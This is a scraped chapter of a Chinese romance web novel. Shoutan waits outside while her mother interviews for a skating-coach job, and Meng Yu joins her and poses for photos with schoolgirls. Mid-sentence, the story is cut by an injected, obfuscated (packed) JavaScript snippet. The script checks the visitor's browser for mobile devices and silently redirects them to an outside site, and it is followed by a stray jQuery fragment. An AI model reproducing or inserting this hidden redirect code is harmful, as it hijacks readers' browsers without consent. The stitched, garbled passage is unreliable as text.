严密汇报工作的时候，孟渔一直在走神。


    还是最后严密汇报完了，他这才点点头：“知道了，先放这吧。”


    “好。”严密乖乖照做。


    他刚才进来的时候，孟渔手指间夹着的吸烟还没熄灭。严密汇报的时候，孟渔既没有掐灭也没有吸上一口，还是此刻烟已燃至烟蒂，孟渔这才像是被烫了一下般恍然惊觉地送到嘴边。


    “对了，严密，你跟了我几年了？”


    “十年了。”


    就在严密推门准备出去的时候，孟渔忽然又叫住了他，随口问了他两句家常。


    “哦，竟然已经十年了。”孟渔终于将烟蒂掐灭在烟灰缸，烟雾缭绕缓缓从口腔鼻腔吐出，模糊了男人的神情，“也是，严叔今年都六十了。日子过的也太快了。”


    “......”


    “行了，你出去吧。我看看资料。”


    “是。”


    *


    孟渔忙碌的时候，寿檀也不清闲。


    在拒绝奖章评选之后，她就重新规划了一下自己的职业路线，这也代表着日后她得将更多的重心放在职称等事项上。


    寿檀目前手里的成果论文都不算多，她得赶紧开始新的项目研究了。于是整个上午她都忙着查阅资料做前期准备。


    到了下午，李·全勤战士·合格牛马·寿檀教授难得请了个假——她得陪李姝去应聘教练的工作。


    这还是寿檀工作多年之后李姝第一次表达自己想要走出家的念头，所以寿檀严阵以待。


    看得出来李姝也有些紧张，罕见地话多了一些。


    应聘的滑冰机构离她们家不远，下午四点多的阳光也不再浓烈。整个京市都被笼罩在一层鹅黄色的光晕里，触目所及是晃晃悠悠的公交车，俯身冲刺而过的骑行者，漂亮的白墙还有茂盛遮天的法桐树。


    寿檀推着李姝，两人混迹在人群里等红绿灯。小时候，李寿檀去训练的时候也是这样。不过那时都是李姝牢牢牵住她的手。


    但这一次换成李寿檀把她送到冰场的门口。


    “需要我进去陪你吗？”


    “用不着。”


    “行，我就在隔壁711等你。”寿檀单手放在眉骨处成凉棚状，“我去吃个冰棍儿。”


    “你大姨妈快来了吧？”李姝对她的身体比她自己都了解，直接勒令她，“别吃了，等来玩再吃。”


    “哦。”寿檀嘴上敷衍，实则早就在心里盘算一会儿是吃可爱多还是其他什么了。


    “对了，你最近回国住在哪里？”李姝忽然问起她住房问题来。


    寿檀心里一紧，她还真不敢跟李姝说自己最近在跟孟渔住在一起。但知女莫若母，更何况住在那么高级的疗养院里李姝也早就猜到七七八八了。


    “把这个拿去，找个地方配个钥匙。”李姝罕见地没有大吵大闹，只是把自己腰间的钥匙取下来给她，“我知道你现在找了个有钱的男朋友，也不一定会听我的。但女孩儿再怎么样也得有个自己的落脚点，省得到时候被赶出来都没地方去。”


    “......你能不能盼着我点好？”


    “不听老人言，吃亏在眼前！”李姝白了她一眼，懒得再多说什么。只是取钥匙的时候顺便看到了自己腰侧松垮的赘肉，失落地捏了捏，“到底还是老了，也不知道能不能聘上。”


    “肯定行。”寿檀趁机拍马屁，”你不行的话京市就没人行了。”


    安慰李姝这种胜负心爆棚的人就无脑夸她就完了，要是敢说一句任何与不行有关的话李姝都得跳脚嫌她灭自己威风。


    不过寿檀挺喜欢李姝这性格的，不然要是她包子的话，她们娘俩不知道要被人欺负成什么惨样。


    果然，李姝气顺了，又挺起她那张过分瘦削而显得有些苦情的下巴，弓背挺身一转轮椅就雄赳赳气昂昂地进了冰场。


    寿檀微笑着目送她，直到她的身影彻底消失在视野里才转过身来到路的另一边买了一根可爱多，慢悠悠地坐在便利店门外的长椅上晃着腿享受着阳光。


    而她也没有完全没听李姝的话，毕竟她的生理期真的要来了。于是寿檀把可爱多攥在手里，等了五分钟才开始享用。


    谁知刚打开可爱多，电话就响了起来，是孟渔。


    “干嘛呢？”男人的声音响起，听起来有些疲惫。


    “正想给你打电话呢，谁知道咱们心有灵犀，刚起念你的电话就来了。”寿檀一边啃雪糕一边胡扯，还问，“孟渔，你说这是不是就是网上说的那什么吸引力法则呀？”


    “你就捉弄我吧，李寿檀。”话虽如此，但孟渔的尾调已经隐隐有了笑意。


    “哪能儿啊，这叫讨好。”寿檀也笑得眉眼弯弯，“我在讨好你呢，孟渔。”


    她又跟孟渔说起自己来“陪考”的事情，孟渔撂下一句“等我”便挂了电话。


    这地方离恒川不远，约莫过了十分钟左右，寿檀就看到街道拐角处走过来一个高挑健硕的身影。


    正好有三四个穿着校服的女生嘻嘻哈哈地迎面跟他走过来，一行人原本叽叽喳喳地像是刚出壳的小麻雀，还是其中一个眼尖，小声对朋友们说了什么，大家立马循声朝孟渔望去，发出此起彼伏的惊呼。


    再胆小的女孩子跟朋友们在一起也会变得胆大起来，随即就有一个扎马尾的女孩跑出来拦着孟渔说了什么，孟渔微笑着摆手拒绝。


    然而女生还不打算放弃，仰起头来又跟孟渔说了什么，孟渔似乎有些惊讶——寿檀看到他的眉尾微微挑起。


    他似乎向女生确认什么，女生握着手机肯定地点点头。孟渔笑得有些无奈了，终于还是点了点头。


    人群里爆发出一声欢呼。只见搭话的女生把手机递给同伴，飞速来到孟渔身边比起剪刀手来拍照。紧接着第二个女生上前拍照，拍完第三个女生又上来......这简直是把孟渔当成京市特色景点了。


    而孟渔自始至终都绅士地将手背在后面，尽管眉宇间有些搞不定这些小女生的无奈感，但还是很好脾气地满足她们的要求。


    “咱们大家一起跟帅哥拍一张吧？”


    其中一个女孩提议，旋即引得一众朋友们的呼应。


    “可是，找谁来给我们拍呢？”


    “没人拍就算了吧姐姐们，咱也是一北京孩子，要脸。”孟渔一听还要拍心里咯噔一声。


    “我来帮你们拍。”


    与此同时，一声清凉的声音在女孩儿们的背后响起。


    “哇！谢谢漂亮姐姐。”女孩们见有人声援，顿时兴奋起来。其中一个把手机塞进寿檀的怀里，七嘴八舌地道谢。


    寿檀刚和孟渔四目相对就忍不住笑了，她难得见孟渔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713628|158690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这副憋屈模样，也乐见其成，举起手机的时候还不忘给女孩儿们提建议：“欸，你们可以挽着他呀，拍照欸，不挽白不挽。”


    女孩儿们又发出一大声爆笑，随即有人问孟渔：“帅哥，可以嘛？”


    孟渔暗地里咬牙，对上寿檀含笑的眼睛后只好对女孩儿们道：“可以啊当然可以了，她都同意了我也没什么好拒绝的了。”


    “哇，原来美女姐姐是帅哥的男朋友啊！”女孩儿们更兴奋了，一个带头起哄“谢谢姐姐！”随即大家纷纷感谢起寿檀来。


    “咔嚓。”


    寿檀连拍了好几张，这才将手机递出去：“看看，满意吗？”


    “满意！”“满意！”


    “非常满意啊！”


    女孩儿们七嘴八舌地感谢她，正要离开的时候其中一个女孩说：“姐姐，我们帮你和帅哥拍一张吧。”


    “就是啊，你看这株风车茉莉开的多好啊。”


    “就是就是，夕阳西下，有情人在天涯。”


    ”哇，静怡你好恶啊！哈哈哈！”


    少女们嘻嘻哈哈的时候，寿檀这才注意到果然二人背后就是一大片爬满了盛开着的风车茉莉的栅栏。


    而没等她反应过来，肩膀一紧整个人已经不受控制地被拉入了孟渔的怀里。


    “那就拜托你们了啊，”孟渔安排那帮小姑娘，“要把我们拍的好看一点。”


    “没问题。”“包的包的。”


    “要照啦，3、2、1......”


    女孩儿倒数的时候，寿檀微微把脑袋靠在了孟渔的身上。


    “咔嚓”一声，一个标标准准的合照。寿檀拿过手机看到照片后心中也是惊喜万分——


    只见琥珀一般的夕阳光线下，寿檀和孟渔就这样相互依偎着站在光影里。身后，是茂盛的风车茉莉，白色星子般的花朵成簇地从枝叶间挤出绽放的身子，随风飘摇。


    “拍得真不错。”孟渔也是暗爽，他掏出皮夹拿出一张纸币递给其中一个，“请你们吃喝奶茶。”


    “哇！好大方的帅哥。老板大气！”女孩儿们欢呼起来，两方人马很愉快地分手道别。


    “终于安静了。”孟渔目送这帮小姑娘离开后，如释重负般长呼了一口气。


    “我看你满配合的嘛。”寿檀笑眯眯地揶揄他，“不过我理解，青春万岁，对吧？”


    “是，青春万岁。”


    李姝的面试还没结束，两个人手拉着手慢悠悠地压马路。寿檀还沉浸在方才的愉快里，忍不住道：“忽然感觉有点遗憾。”


    “遗憾什么？”


    “遗憾没有参与到你的青春里。”


    一想到这个，寿檀再看孟渔这张英俊到难得的脸就愈发不顺眼了。她索性站住脚，也不肯跟孟渔牵手了，就这么站在路边撅起嘴来跟孟渔小法雷霆：


    “你这家伙，老实交代，上学的时候跟多少个女生谈过恋爱？”


    “你吃醋了？”孟渔大喜，伸手要去拉她。


    被戳中心事，寿檀有些害羞赶紧背着手往前跑。奈何孟渔早已熟悉她的鸵鸟性格，还没等她跑两步就提前伸手搂着她的腰将她捞回到自己身边。


    “跑什么？答案都不想听了吗？”


    “不想听。”寿檀小声回应，“听了也不高兴。”


    “那可不一定。”